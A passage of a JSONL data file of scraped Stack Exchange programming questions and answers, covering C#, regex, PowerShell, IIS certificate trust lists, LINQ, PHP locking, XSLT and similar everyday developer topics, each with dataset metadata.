Width=\"1\" VerticalAlignment=\"Stretch\" Fill=\"{TemplateBinding SeparatorBrush}\" Visibility=\"{TemplateBinding SeparatorVisibility}\" />\n                            <Path Grid.RowSpan=\"2\" Name=\"SortIcon\" RenderTransformOrigin=\".5,.5\" HorizontalAlignment=\"Left\" VerticalAlignment=\"Center\" Opacity=\"0\" Grid.Column=\"1\" Stretch=\"Uniform\" Width=\"8\" Data=\"F1 M -5.215,6.099L 5.215,6.099L 0,0L -5.215,6.099 Z \">\n                                <Path.Fill>\n                                    <SolidColorBrush Color=\"#FF444444\" />\n                                </Path.Fill>\n                                <Path.RenderTransform>\n                                    <TransformGroup>\n                                        <ScaleTransform x:Name=\"SortIconTransform\" ScaleX=\".9\" ScaleY=\".9\"  />\n                                    </TransformGroup>\n                                </Path.RenderTransform>\n                            </Path>\n                        </Grid>\n                    </ControlTemplate>\n                </Setter.Value>\n            </Setter>\n        </Style>\n    </data:DataGrid.ColumnHeaderStyle>\n</data:DataGrid>\n```\n```\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.959221"}
{"id": "hf_c7f8ebec8a9e", "question": "<p>Does anyone of you know, if and if so, how can I check, with my application code, if a server has ssl enabled or not?</p>\n", "question_body": "", "answer": "not sure on your language of preference but here it is in c#\n```\n```\npublic bool IsSecureConnection()\n{\n    return HttpContext.Current.Request.IsSecureConnection || \n           HttpContext.Current.Request.Headers[\"HTTP_X_SSL_REQUEST\"].Equals(\"1\");\n}\n```\n```\nPlease note this header is custom, but I think you get the idea.  I've seen folk simply query request for \"https\" and besides looking dirty it's probably reasonably acceptable, depends on your security model.\nOr are you asking whether it's simply available at all?\nI", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:54.985076"}
{"id": "hf_5f6c2ef21dac", "question": "<p>I need a RegExp which matches a word or multiple words in quotes.</p>\n\n<p>[\\w]* matches a word</p>\n\n<p>\"[\\w\\W&amp;&amp;[^\"]]*\" matches multiple words in quotes.</p>\n\n<p>(btw, not sure why \\w\\W works, but not a simple . (which should match all characters)</p>\n\n<p>So how do i combine these two regexp?</p>\n", "question_body": "", "answer": "Does\n```\n\"[^\"]+\"\n```\ndo what you want? (Match a double-quote, match one or more chars that are not double quotes, then match a second double-quote.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.053689"}
{"id": "hf_5582720f5dd5", "question": "<p>how can access the binary data file(.DAT). i am using geonames API. can anyone help me? </p>\n", "question_body": "", "answer": "Assuming you are using C# (from the tag), you can use\n```\nBinaryReader\n```\nclass\nto read binary data. See\nHow to read and write to a binary file\n:\n```\n```\nFileStream fs = File.Open(Environment.CurrentDirectory + @\"\\settings.bin\", FileMode.Open);\nBinaryReader reader = new BinaryReader(fs);\n\nlong number = reader.ReadInt64();\nbyte[] bytes = reader.ReadBytes(3);\nstring s = reader.ReadString();\n\nreader.Close();\nfs.Close();\n\nConsole.WriteLine(number);\nforeach (byte b in bytes)\n{\n    Console.Write(\"[{0}]\", b);\n}\nConsole.WriteLine();\nConsole.WriteLine(s);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.091658"}
{"id": "hf_a40438f3d616", "question": "<p>Can breakpoints be used in interrupt service routines (ISRs)?</p>\n", "question_body": "", "answer": "Yes -\nin an emulator\n.\nOtherwise, no. It's difficult to pull off, and a bad idea in any case. ISRs are (usually) supposed to work with the hardware, and hardware can easily behave very differently when you leave a gap of half a second between each instruction.\nSet up some sort of logging system instead.\nISRs also ungracefully \"steal\" the CPU from other processes, so many operating systems recommend keeping your ISRs extremely short and doing only what is\nstrictly\nnecessary (such as dealing with any\nurgent\nhardware stuff, and scheduling a task that will deal with the event properly). So in theory, ISRs should be so simple that they don't need to be debugged.\nIf it's hardware behaviour that's the problem, use some sort of logging instead, as I've suggested. If the hardware doesn't really mind long gaps of time between instructions, then you could just write most of the driver in user space - and you\ncan\nuse a debugger on that!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.141496"}
{"id": "hf_be4bdd1efb49", "question": "<p>Starting with the following LINQ query:</p>\n\n<pre><code>from a in things  \nwhere a.Id == b.Id &amp;&amp;  \na.Name == b.Name &amp;&amp;  \na.Value1 == b.Value1 &amp;&amp;  \na.Value2 == b.Value2 &amp;&amp;  \na.Value3 == b.Value3  \nselect a;\n</code></pre>\n\n<p>How can I remove (at runtime) one or more of the conditions in the where clause in order to obtain queries similar to the following ones:</p>\n\n<pre><code>from a in things  \nwhere a.Id == b.Id &amp;&amp;  \na.Name == b.Name &amp;&amp;  \na.Value2 == b.Value2 &amp;&amp;  \na.Value3 == b.Value3  \nselect a;\n</code></pre>\n\n<p>Or</p>\n\n<pre><code>from a in things  \nwhere \na.Name == b.Name &amp;&amp;  \na.Value3 == b.Value3  \nselect a;\n</code></pre>\n", "question_body": "", "answer": "Rather than try to change existing where clauses, I'd refactor it to this:\n```\n```\nfrom a in things  \nwhere a.Id == b.Id \nwhere a.Name == b.Name \nwhere a.Value1 == b.Value1\nwhere a.Value2 == b.Value2\nwhere a.Value3 == b.Value3  \nselect a;\n```\n```\nThat then becomes:\n```\n```\nthings.Where(a => a.Id == b.Id)\n      .Where(a => a.Name == b.Name)\n      .Where(a => a.Value1 == b.Value1)\n      .Where(a => a.Value2 == b.Value2)\n      .Where(a => a.Value1 == b.Value3);\n```\n```\nNow it should be reasonably clear how to proceed - conditionalise the calls to Where:\n```\n```\nIQueryable<Whatever> query = things;\nif (useId) {\n    query = query.Where(a => a.Id == b.Id);\n}\nquery = query.Where(a => a.Name == b.Name);\nif (checkValue1) {\n    query = query.Where(a => a.Value1 == b.Value1);\n}\n// etc\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.177968"}
{"id": "hf_c8ffbeb7d6ee", "question": "<p>Can jQuery ajax made browser request a new location in redirect header send by server?</p>\n", "question_body": "", "answer": "Haven't tried jQuery, and a quick peek at the doc doesn't really tell me what a redirect response is handled as. But in Prototype JS any response code other than 2xx \"Success\" is a onFailure event, thus a redirect is a failure. You could probably parse the response (somehow) in the error block to see what code it is and get the address, wich you can set the document.location to... But it doesn't sound very safe, or practical.\nIt's more common to print an error of some kind.  Or, if the request requires a logged in user, to assume the session has timed out and redirect to the login page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.261505"}
{"id": "hf_f919eca249ac", "question": "<p>I'm trying to change assembly binding (from one version to another) dynamically.</p>\n\n<p>I've tried this code but it doesn't work:</p>\n\n<pre><code>      Configuration config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);\n      ConfigurationSection assemblyBindingSection = config.Sections[\"assemblyBinding\"];\n\n      assemblyBindingSection.SectionInformation.ConfigSource = \"bindingConf.xml\";\n      config.Save(ConfigurationSaveMode.Modified);\n\n      ConfigurationManager.RefreshSection(\"assemblyBinding\");\n</code></pre>\n\n<p>with <code>bindingConf.xml</code> containing the assemblyBinding section configuration.</p>\n\n<p>So can a change this section at runtime? how to do it? What alternatives do I have?</p>\n", "question_body": "", "answer": "The best way I've found to dynamically bind to a different version of an assembly is to hook the\n```\nAppDomain.AssemblyResolve\n```\nevent. This event is fired whenever the runtime is unable to locate the exact assembly that the application was linked against, and it allows you to provide another assembly, that you load yourself, in its place (as long as it is compatible).\nFor example, you can put in a static constructor on your application's main class that hooks the event like this:\n```\n```\nusing System.Reflection;\n\nstatic Program()\n{\n    AppDomain.CurrentDomain.AssemblyResolve += delegate(object sender, ResolveEventArgs e)\n    {\n        AssemblyName requestedName = new AssemblyName(e.Name);\n\n        if (requestedName.Name == \"AssemblyNameToRedirect\")\n        {\n            // Put code here to load whatever version of the assembly you actually have\n\n            return Assembly.LoadFrom(\"RedirectedAssembly.DLL\");\n        }\n        else\n        {\n            return null;\n        }\n    };\n}\n```\n```\nThis method avoids the need to deal with the assembly bindings in configuration files and is a bit more flexible in terms of what you can do with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.285217"}
{"id": "hf_68e252d451f7", "question": "<p>Is it better to use a stored procedure or doing it the old way with a connection string and all that good stuff? Our system has been running slow lately and our manager wants us to try to see if we can speed things up a little and we were thinking about changing some of the old database calls over to stored procedures. Is it worth it?</p>\n", "question_body": "", "answer": "The first thing to do is check the database has all the necessary indexes set up. Analyse where your code is slow, and examine the relevant SQL statements and indexes relating to them. See if you can rewrite the SQL statement to be more efficient. Check that you aren't recompiling an SQL (prepared) statement for every iteration in a loop instead of outside it once.\nMoving an SQL statement into a stored procedure isn't going to help if it is grossly inefficient in implementation. However the database will know how to best optimise the SQL and it won't need to do it repeatedly. It can also make the client side code cleaner by turning a complex SQL statement into a simple procedure call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.326341"}
{"id": "hf_b404fc0a4126", "question": "<p>I'm trying to update a variable in APC, and will be many processes trying to do that.</p>\n\n<p>APC doesn't provide locking functionality, so I'm considering using other mechanisms... what I've found so far is mysql's GET_LOCK(), and php's flock(). Anything else worth considering?</p>\n\n<p>Update: I've found sem_acquire, but it seems to be a blocking lock.</p>\n", "question_body": "", "answer": "If you don't mind basing your lock on the filesystem, then you could use fopen() with mode 'x'. Here is an example:\n```\n```\n$f = fopen(\"lockFile.txt\", 'x');\nif($f) {\n    $me = getmypid();\n    $now = date('Y-m-d H:i:s');\n    fwrite($f, \"Locked by $me at $now\\n\");\n    fclose($f);\n    doStuffInLock();\n    unlink(\"lockFile.txt\"); // unlock        \n}\nelse {\n    echo \"File is locked: \" . file_get_contents(\"lockFile.txt\");\n    exit;\n}\n```\n```\nSee www.php.net/fopen", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.350899"}
{"id": "hf_01d5a7c6b162", "question": "<p>I have to analyse some existing Erlang code.</p>\n\n<p>Does anybody knows about a tool able to visually / graphically trace the modules calls ?</p>\n\n<p>The behaviour should be : give a directory containing the source code, and get a gui / picture / file of the calls (module1->module2->module3....).</p>\n\n<p>Something like an UML reverse-engineering, but <em>ala</em> Erlang ?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "```\nxref\n```\nin OTP works like this. It gives you data about which dependencies exist between applications and modules and produces call graphs.\nHere's an overview of\n```\nxref\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.376425"}
{"id": "hf_2dc78ae490e3", "question": "<p>I need to generate a CTL for use with IIS7.</p>\n\n<p>I generated a CTL file using MakeCTL (on Win2k3 SDK) and put only my own RootCA certificate in the CTL.</p>\n\n<p>However, when I then use adsutil.vbs to set my website to use this CTL, I get:</p>\n\n<p>ErrNumber: -2147023584 (0x80070520)\nError Trying To SET the Property: SslCtlIdentifier</p>\n\n<p>I'm using adsutil.vbs like this:</p>\n\n<p>cscript adsutil.vbs set w3svc/2/SslCtlIdentifier \n    where  is the friendly name of the CTL</p>\n\n<p>The problem is, I am not able to set a friendly name. At the end of the wizard it says \"Friendly Name: \".</p>\n\n<p>In IIS6 I can create a CTL with a friendly name (showing in Certificates MMC) but if I export it from there, when I import it, it no longer has a friendly name.</p>\n\n<p>Can anyone show me how to do it please?</p>\n", "question_body": "", "answer": "I'm experiencing exactly the same problem and am having the same trouble finding an answer.\nThere appears to be no documented way to create a friendly name for Certificate Trust Lists using MakeCTL. And the only documented way to add a CTL to IIS7 uses the adsutil script Neil references above, yet it requires a friendly name. I assume we could dig into a programatic way to do this but I'm not looking to get that deep.\nThe core of this problem is that IIS7 seems to have lost favor for CTL's, else it would have some UI support for them. Are people using some alternative to CTL's in combination with Client Side Certificates?\nI find it odd this isn't a bigger problem for IIS7.\nUpdate:\nI finally came back to this and have figured out the Friendly Name issue. To get a friendly name assigned you must store the CTL in the Certificate Store rather than to a file (I had always used the file approach previously). So, using MakeCTL in the wizard mode (no arguments) and choosing to 'Certificate Store' on the 'Certificate Trust List Storage' page results in a new page that let's you specify a Friendly Name.\nSo I now have a CTL in the 'Intermediate Certification Authorities' certificate store of LocalMachine. Now I am trying to use 'netsh http add sslcert' to assign the CTL to my site.\nBefore I could use this command I had to remove the existing SSL cert that was assigned to my site for server authentication. Then in my netsh command I specify the thumbprint of that very same SSL cert I removed, plus a made up appid, plus 'sslctlidentifier=MyCTL sslctlstorename=CA'. The resulting command is:\nnetsh http add sslcert ipport=10.10.10.10:443 certhash=adfdffa988bb50736b8e58a54c1eac26ed005050 appid={ffc3e181-e14b-4a21-b022-59fc669b09ff} sslctlidentifier=MyCTL sslctlstorename=CA\n(the IP addr is munged), but I am getting this error:\nSSL Certificate add failed, Error: 1312 A specified logon session does not exist. It may already have been terminated.\nI am sure the error is related to the CTL options because if I remove them it works (though no CTL is assigned of course).\nCan anyone help me take this last step and make this work?\nUPDATE 01-07-2010:\nI never resolved this with IIS 7.0 and have since migrated our app to IIS 7.5 and am giving this another try. I installed IIS6 Compatibility on my test server and tried the steps documented\nhere\nusing adsutil.vbs. I immediately ran into this same error that Niel did above:\nErrNumber: -2147023584 Error trying to SET the Property: SslCtlIdentifier\nwhen running this command:\nadsutil.vbs set w3svc/1/SslCtlIdentifier MyFriendlyName\nI then went on to try the next adsutil.vbs command documented and it failed with the same error.\nI have verified that the CTL I created has a Friendly Name of MyFriendlyName and that it exists in the 'Intermediate Certification Authorities\\Certificate Trust List' store of LocalComputer.\nSo once again I am at a dead standstill. I don't know what else to try. Has anyone ever gotten CTL's to work with IIS7 or 7.5? Ever? Am I beating a DEAD horse. Google turns up nothing but my own posts and other similar stories.\nUpdate 6/08/10\n- I can now confirm that KB981506 resolves this issue. There is a patch associated with this KB that must be applied to Server 2008 R2 machines to enable this functionality. Once that is installed all works flawlessly for me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.413658"}
{"id": "hf_041270657a4a", "question": "<p>I am about to make some changes to an existing Apache C module to fix some possible security flaws and general bad practices. However the functionality of the code must remain unchanged (except in cases where its fixing a bug). Standard regression testing stuff seems to be in order. I would like to know if anyone knows of a good way to run some regression unit tests againt the code. I'm thinking something along the lines of using <a href=\"http://cunit.sourceforge.net.\" rel=\"nofollow noreferrer\">C-Unit</a> but with all the tie ins to the Apache APR and status structures I was wondering if there is a good way to test this. Are there any pre-built frameworks that can be used with C-unit for example?</p>\n\n<p>Thanks</p>\n\n<p>Peter</p>\n", "question_body": "", "answer": "I've been thinking of answering this for a while, but figured someone else might come up with a better answer, because mine is rather unsatisfactory: no, I'm not aware of any such unit testing framework.\nI think your best bet is to try and refactor your C module such that it's dependencies on the httpd code base are contained in a very thin glue layer. I wouldn't worry too much about dependencies on APR, that can easily be linked into your unit test code. It's things like using the request record that you should try to abstract out a little bit.\nI'll go as far and suggest that such a refactoring is a good idea if the code is suspected to contain security flaws and bad practices. It's just usually a pretty big job.\nWhat you might also consider is running integration tests rather than unit tests (ideally both), i.e. come up with a set of requests and expected responses from the server, and run a program to compare the actual to expected responses.\nSo, not the response you've been looking for, and you probably thought of something along this line yourself. But at least I can tell you from experience that if the module can't be replaced with something new for business reasons, then refactoring it for testability will likely pay off in the longer term.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.601410"}
{"id": "hf_aec4a9069fc7", "question": "<p>I've got an executable file, and I would like to know which version(s) of the Microsoft .NET Framework this file needs to be started.</p>\n<p>Is there an easy way to find this information somewhere?</p>\n<p>(So far I tried <a href=\"https://en.wikipedia.org/wiki/ILDASM#Metadata_storage\" rel=\"noreferrer\">ILDASM</a> and <a href=\"https://support.microsoft.com/kb/177429\" rel=\"noreferrer\">DUMPBIN</a> without any luck.)</p>\n", "question_body": "", "answer": "I think the closest you can reliably get is to determine what version of the\nCLR\nis required. You can do this by using ILDASM and looking at the \"MANIFEST\" node or Reflector and looking at the dissasembly view of the \"Application.exe\" node as IL. In both cases there is a comment that indicates the CLR version. In ILDASM, the comment is \"// Metadata version\" and in Reflector the comment is \"Target Runtime Version\".\nHere are examples for a .NET WinForms application named WindowsFormsApplication1.exe:\nILDASM:\n```\n```\n// Metadata version: v2.0.50727\n.assembly extern mscorlib\n{\n  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 )                         // .z\\V.4..\n  .ver 2:0:0:0\n}\n.assembly extern System\n{\n  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 )                         // .z\\V.4..\n  .ver 2:0:0:0\n}\n```\n```\nReflector:\n```\n```\n.module WindowsFormsApplication1.exe\n.subsystem 0x0002\n// MVID: {CA3D2090-16C5-4899-953E-4736D6BC0FA8}\n// Target Runtime Version: v2.0.50727\n```\n```\nYou can also look at the list of referenced assemblies and look for the reference with the highest version number.\nAgain, using ILDASM looking at the \"MANIFEST\" node data:\n```\n```\n.assembly extern System.Drawing\n{\n  .publickeytoken = (B0 3F 5F 7F 11 D5 0A 3A )                         // .?_....:\n  .ver 2:0:0:0\n}\n.assembly extern System.Core\n{\n  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 )                         // .z\\V.4..\n  .ver 3:5:0:0\n}\n```\n```\nAnd using Reflector, looking at the dissambly (still as IL) for each reference listed:\n```\n```\n.assembly extern System.Core\n{\n    .ver 3:5:0:0\n    .publickeytoken = (B7 7A 5C 56 19 34 E0 89)\n}\n```\n```\nBy finding the reference with the highest version metadata you can determine what version of the Framework that reference came from, which would indicate that you need the same version of the Framework installed for the application to run. That being said, I wouldn't treat this as 100% reliable, but I don't think it will change any time soon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.639449"}
{"id": "hf_58f7b493620b", "question": "<p>Given two date ranges, what is the simplest or most efficient way to determine whether the two date ranges overlap?</p>\n\n<p>As an example, suppose we have ranges denoted by DateTime variables <code>StartDate1</code> to <code>EndDate1</code> <em>and</em> <code>StartDate2</code> to <code>EndDate2</code>.</p>\n", "question_body": "", "answer": "I believe that it is sufficient to say that the two ranges overlap if:\n```\n```\n(StartDate1 <= EndDate2) and (StartDate2 <= EndDate1)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.690912"}
{"id": "hf_788cb05a87c1", "question": "<p>I need to loop through all the matches in say the following string:</p>\n\n<p><code>&lt;a href='/Product/Show/{ProductRowID}'&gt;{ProductName}&lt;/a&gt;</code></p>\n\n<p>I am looking to capture the values in the {} including them, so I want {ProductRowID} and {ProductName}</p>\n\n<p>Here is my code so far:</p>\n\n<pre><code>Dim r As Regex = New Regex(\"{\\w*}\", RegexOptions.IgnoreCase)\nDim m As Match = r.Match(\"&lt;a href='/Product/Show/{ProductRowID}'&gt;{ProductName}&lt;/a&gt;\")\n</code></pre>\n\n<p>Is my RegEx pattern correct?  How do I loop through the matched values? I feel like this should be super easy but I have been stumped on this this morning!</p>\n", "question_body": "", "answer": "Change your RegEx pattern to\n```\n\\{\\w*\\}\n```\nthen it will match as you expect.\nYou can test it with an\nonline .net RegEx tester\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.740908"}
{"id": "hf_ec759f3e2e21", "question": "<p>Given <em>test.txt</em> containing:</p>\n\n<pre><code>test\nmessage\n</code></pre>\n\n<p>I want to end up with:</p>\n\n<pre><code>testing\na message\n</code></pre>\n\n<p>I think the following should work, but it doesn't:</p>\n\n<pre><code>Get-Content test.txt |% {$_-replace \"t`r`n\", \"ting`r`na \"}\n</code></pre>\n\n<p>How can I do a find and replace where what I'm finding contains CRLF?</p>\n", "question_body": "", "answer": "A CRLF is two characters, of course, the CR and the LF. However,\n```\n`n\n```\nconsists of both. For example:\n```\n```\nPS C:\\> $x = \"Hello\n>> World\"\n\nPS C:\\> $x\nHello\nWorld\nPS C:\\> $x.contains(\"`n\")\nTrue\nPS C:\\> $x.contains(\"`r\")\nFalse\nPS C:\\> $x.replace(\"o`nW\",\"o There`nThe W\")\nHello There\nThe World\nPS C:\\>\n```\n```\nI think you're running into problems with the\n```\n`r\n```\n. I was able to remove the\n```\n`r\n```\nfrom your example, use only\n```\n`n\n```\n, and it worked. Of course, I don't know exactly how you generated the original string so I don't know what's in there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.765142"}
{"id": "hf_c871ee9d98af", "question": "<p>I create new project in Netbeans, but when I look the library it still using JDK 1.6 (default) I want to change into JDK 6 Update 10 but how? I already instal JDK 6 Update 10 but when I import org.hibernate the neatbeans didn't know which library that org.hibernate.</p>\n\n<p>someone can help me? THX</p>\n", "question_body": "", "answer": "JDK 1.6 is the current released version.\nI really hope you aren't talking about Java 10 there.\nAnd even worse would be if you wanted to use Java 1.1! Which was out over 10 years ago.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.874863"}
{"id": "hf_cb3bec29bab1", "question": "<p>Am new to Lucene.Net\nWhich is the best Analyzer to use in Lucene.Net?\nAlso,I want to know how to use Stop words and word stemming features ?</p>\n", "question_body": "", "answer": "I'm also new to Lucene.Net, but I do know that the Simple Analyzer omits any stop words, and indexes all tokens/works.\nHere's a link to some Lucene info, by the way, the .NET version is an almost perfect, byte-for-byte rewrite of the Java version, so the Java documentation should work fine in most cases:\nhttp://darksleep.com/lucene/\n. There's a section in there about the three analyzers, Simple, Stop, and Standard.\nI'm not sure how Lucene.Net handles word stemming, but this link,\nhttp://www.onjava.com/pub/a/onjava/2003/01/15/lucene.html?page=2\n, demonstrates how to create your own Analyzer in Java, and uses a PorterStemFilter to do word-stemming.\n...[T]he Porter stemming algorithm (or \"Porter stemmer\") is a process for removing the more common morphological and inflexional endings from words in English\nI hope that is helpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.899546"}
{"id": "hf_c2d5dae0781e", "question": "<p>Is there a way to get a list ordered by two fields, say last and first names?</p>\n\n<p>I know <code>.listOrderByLastAndFirst</code> and <code>.list(sort:'last, first')</code> won't work.</p>\n", "question_body": "", "answer": "If you were sorting lists on the contents of their items, you would need to implement a comparator which would have some smarts to enable to you decide the sort order based on multiple properties.\nSome examples of Groovy-style comparators are shown\nhere\nHowever if the list you are sorting is being returned from a database query, you would be better off sorting it using a CrteriaQuery and sorts on that", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.924635"}
{"id": "hf_d46707eb2cf6", "question": "<p>I really don't know how to describe it, but if you understood it and had experience on that field, may be you can help me with something 'Open Source' and 'Ready-made'.</p>\n\n<p>I want to create something like a box 'or widget', where you can change its content by hitting some buttons on the top of the box. (Hey the box is on a web page and this should use Ajax and Javascript).</p>\n\n<p>I have tried some ready scritps, but I found them limited and they drive me crazy, JS frameworks also don't seems to offer such solution.\nAny body have any idea on that field?</p>\n", "question_body": "", "answer": "Have you tried Jquery?\nVisit www.jquery.com\nSome example can be found at\nhttp://www.openjs.com/scripts/events/keyboard_shortcuts/\nAlso please check the In-place editing example at\nhttp://www.appelsiini.net/projects/jeditable\nhttp://docs.jquery.com/Tutorials:Edit_in_Place_with_Ajax", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:55.949756"}
{"id": "hf_7314012f0c53", "question": "<p>I am writing an iframe based facebook app. Now I want to use the same html page to render the normal website as well as the canvas page within facebook. I want to know if I can determine whether the page has been loaded inside the iframe or directly in the browser?</p>\n", "question_body": "", "answer": "Browsers can block access to\n```\nwindow.top\n```\ndue to\nsame origin policy\n. IE bugs also take place. Here's the working code:\n```\n```\nfunction inIframe () {\n    try {\n        return window.self !== window.top;\n    } catch (e) {\n        return true;\n    }\n}\n```\n```\n```\ntop\n```\nand\n```\nself\n```\nare both\n```\nwindow\n```\nobjects (along with\n```\nparent\n```\n), so you're seeing if your window is the top window.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.026009"}
{"id": "hf_9341f57f4357", "question": "<p>I have an XML document with several <code>&lt;person&gt;</code> elements, each of which contains the <code>&lt;name&gt;</code> of the person, and several <code>&lt;preferred-number&gt;</code> elements inside a grouping <code>&lt;preferred-numbers&gt;</code> element. </p>\n\n<p>I already found that to obtain the greatest <code>&lt;preferred-number&gt;</code> I have to do an <code>&lt;xsl:apply-template&gt;</code> with a <code>&lt;xsl:sort&gt;</code> inside it and then take the first element, as XSLT v1.0 doesn't have <code>fn:max()</code>. </p>\n\n<p>But I guess that this would give me the greatest value from all. So, how could I arrange a stylesheet to extract each person's <code>&lt;name&gt;</code> with their greatest <code>&lt;preferred-number&gt;</code>?</p>\n", "question_body": "", "answer": "When it comes to sorting stuff in XSLT 1.0 you have to use a slightly roundabout approach as I recall. If you haven't already you'll want to look into\nMuenchian grouping\nto give you some ideas to start with.\nI've found\nthis site\nto be a very useful resource.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.054668"}
